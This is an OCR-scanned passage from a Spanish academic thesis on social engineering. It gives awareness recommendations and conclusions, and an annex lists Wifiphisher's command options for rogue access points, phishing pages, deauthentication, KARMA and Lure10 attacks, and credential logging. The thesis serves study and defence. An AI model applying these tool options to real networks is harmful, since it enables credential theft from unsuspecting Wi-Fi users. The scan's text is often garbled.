Emitir boletines de seguridad a los empleados sobre casos reales de ingenieria social
puede ayudar a aumentar la conciencia del empleado sobre la amenaza que representa
el ataque para la empresa. Silos usuarios son notificados de intentos o ataques, los hara
mas aptos para reconocer los signos de un ataque de ingenieria social cuando les ocurra.
Mejorar la proteccidn y usar herramientas que permitan al departamento IT tener

visibilidad totaly la capacidad de detectarymitigar amenazas potenciales enla red.
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8.- Conclusiones

Alolargode este trabajose haintentado profundizar en el concepto de Ingenieria Social. Hemos
llegado a la conclusién que, en la Ingenieria Social, el usuario se convierte en el objetivo, la
victima. De esta manera convertimos al usuario de las tecnologias en la parte mas débil, la
vulnerabilidad que puede generar una falla en el sistema. El concepto de Hacker mediante la
Ingenieria Social cambia de prisma, antes se buscaba la vulnerabilidad en la programacion, y el
éxito era poder encontrar un fallo en el sistema. Mediante esta técnica, el fallo es el ser humano,
y ahi las posibilidades de éxito aumentan considerablemente dado que las fallas que pueda
llegar a tener un usuario pueden ser mayoresy la tasa de éxito se amplia. Es por ello, que hoy
en dia, seaunan las fuerzas de los atacantes para hacer uso de la metodologia de la Ingenieria
Social para poder extraer informacion confidencial de las personas, asi mismo, las grandes
corporaciones dedican esfuerzos a la concienciacion de sus trabajadores, conel fin de mitigaro

prevenir dichos ataques.

La Ingenieria Social, como hemos podido ver, ha ido evolucionando, y se ha adaptado segun la
época. La era de la tecnologia, con su constante evolucidon no ha hecho mas que afadir nuevas
opciones en la consecucién de mayores éxitos, también ha generado mayores controles para su
prevencion. Las tecnologias, como correo electrénico, SMS, paginas web se han incorporado en
la cartera de posibles opciones para poder atacar, y otras tecnologias mas recientes como
Machine Learning, GPS, Cloud, loT, se estan introduciendo en el mundo de la Ingenieria Social

para evolucionar conjuntamente y ampliar el abanico que pueda disponer el atacante.

El crecimiento de dichas tecnologias, sumandole las redes sociales, asi como la digitalizacion de
las identidades, hacen de vital importancia la capacitacion del usuario, para hacer frente a las
adversidades que conlleva el uso de las nuevas tecnologias. Debe existir una concienciacion
sobre estdas e intentar tener conocimiento sobre los riesgos que entraian, asi como disponer de
una formacién para prevenir y si es posible mitigar posibles ataques. Esta es la clave del éxito

para hacer frente a la Ingenieria Social.

A nivel de banco de pruebas, hemos podido ver diferentes tipos de pruebas que se puede llegar
a hacer. Se ha podido comprobar que dichas pruebas, estanen la redy estanalalcance de todo
el mundo, con lo cual, todo el mundo puede llegar a convertirse en un potencial atacante.
Entendemos que mostrando la manera en la que puede actuar un atacante, puede mejorar o
ayudar la manera de prevenir dicho ataque, y es una manera que puede ayudar a futuro, para

tener mecanismos de protecciény prevencion.
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Anivel de objetivos generales, espero que haya sidoimportante la informacién ofrecida, y pueda
llegar a ser util para concienciar al publico en general de que la Ingenieria Social es una
metodologia que puede llegar a colapsar grandes empresas, dado que hoy en dia la informacion

es poder y cualquier mecanismo, puede ser explotado para un uso no adecuado.

En cuanto a trabajos a futuro hay que comentar que el objetivo del trabajo era introducir el
tema, perodada la magnitud de la Ingenieria Social, se sigue requiriendo de mucho mas estudio,
tanto en expansion como en profundidad. A nivel de teoria, se puede profundizar en el estudio
de la conducta humana, asicomo de las técnicas de manipulacién. A nivel de pruebas se puede
ampliar o profundizar el estudio con nuevas tecnologias mas modernas y déonde no hay tanto
recorrido, dado que esta en constante evolucién. Estds tecnologias pueden ser Machine
Learning, Data minning, loT o telefonia madvil. A nivel de empresa o mundo laboral se puede
focalizar el estudio en la generacién de una guia de capacitacidon para concienciar a los
empleados en la prevencién de la Ingenieria Social o también generar una guia de estudio
exclusiva para formar a profesionales de IT en la prevencién de este tipo de amenazas y que

dispongan de mecanismos y conocimientos que les ayuden a lidiar con la Ingenieria Social.

Personalmente este estudio ha ayudado a la concienciacion y al conocimiento de los posibles
ataques de la ingenieria social, asi como al conocimiento de diferentes técnicas y programas que
pueden servir de ayuda para entender mejor la seguridad informatica y la mente del atacante.
Se considera que para estar al dia en la prevencidn es basica e imprescindible una educacién
permanente en nuestra profesién, con la que no estaremos del todo seguros, pero podremos

tener mecanismos para prevenir y mitigar posibles ataques.
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Anexos

Anexo A: Comandos Wifiphisher

Short form Long form Explanation
-h --help show this help message and exit

Manually choose an interface that supports both AP and monitor
-i INTERFACE --interface modes for spawning the rogue AP as well as mounting additional

Wi-Fi attacks from Extensions (i.e. deauth). Example: -i wlan1

-el EXTENSIONSINTERFACE

--extensionsinterface
EXTENSIONSINTERFACE

Manually choose an interface that supports monitor mode for
running the extensions. Example: -el wlan1

-al APINTERFACE

--apinterface APINTERFACE

Manually choose an interface that supports AP mode for spawning
an AP. Example: -al wlan0

Specify one or more interfaces that will have their connection

-pl INTERFACE --protectinterface INTERFACE .
P P protected from being managed by NetworkManager.
-kN --keepnetworkmanager Do notkill NetworkManager.
p 9 9
-nE --noextensions Do notload any extensions.
e ESSID ——essid ESSID Enter the I?SSID othe rogue Access Point. Thisl option.ijI skip
Access Point selection phase. Example: --essid 'Free WiFi
-pPD --phishing-pages-directory

PHISHING_PAGES_DIRECTORY PHISHING_PAGES_DIRECTORY

Search for phishing pages in this location

-p PHISHINGSCENARIO

--phishingscenario
PHISHINGSCENARIO

Choose the phishing scenario to run.This option will skip the
scenario selection phase. Example: -p firmware_upgrade

Add WPA/WPA2 protection on the rogue Access Point. Example: -

-pK PRESHAREDKEY -- haredkey PRESHAREDKEY

P presharedkey pK s3cr3tp4sswOrd

-gS --quitonsuccess Stop the script after successfully retrieving one pair of credentials.
Capture the BSSIDs of the APs that are discovered during AP

-IC --lure10-capture

selection phase. This option is part of Lure10 attack.

-IE LURET0_EXPLOIT

--lure10-exploit
LURE10_EXPLOIT

Fool the Windows Location Service of nearby Windows users to
believe it is within an area that was previously captured with --
lure10-capture. Part of the Lure10 attack.

Specify the MAC address of the AP interface. Example: -iAM

SAM ~-mac-ap-interface 38:EC:11:00:00:00

EM - mac-extensions-interface Specify the MAC address of the extensions interface. Example: -iEM
E8:2A:EA:00:00:00

-iNM --no-mac-randomization Do notchange any MAC address.

it eSS WA e i e

-dE ESSID --deauth-essid ESSID Deauth all the BSSIDs in the WLAN with that ESSID.

-dC CHANNELS

--deauth-channels CHANNELS

Channels to deauth. Example: --deauth-channels 1,3,7

--logging

Enable logging. Outputwill be saved to wifiphisher.log file.

-IP LOGPATH

--logpath LOGPATH

Determine the full path of the lodfile.

-cP CREDENTIAL_LOG_PATH

--credential-log-path
CREDENTIAL_LOG_PATH

Determine the full path of the file that will store any captured
credentials

-cM --channel-monitor Monitor if the target access point changes the channel.

Enable the payload path. Intended for use with scenarios that serve

--payload-path

payloads.
-wP --wps-pbc Monitor if the button on a WPS-PBC Registrar side is pressed.
-WAl --wpspbc-assoc-interface The WLAN interface used for associating to the WPS AccessPoint.
-kB --known-beacons Perform the known beacons Wi-Fi automatic association technique.
-fH --force-hostapd Force the usage of hostapd installed in the system.
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--dnsmasqg-conf
DNSMASQ_CONF

Determine the full path of dnmasq.conffile.

-dK

--disable-karma

Disables KARMA attack.

_pE

--phishing-essid

Determine the ESSID you want to use for the phishing page.
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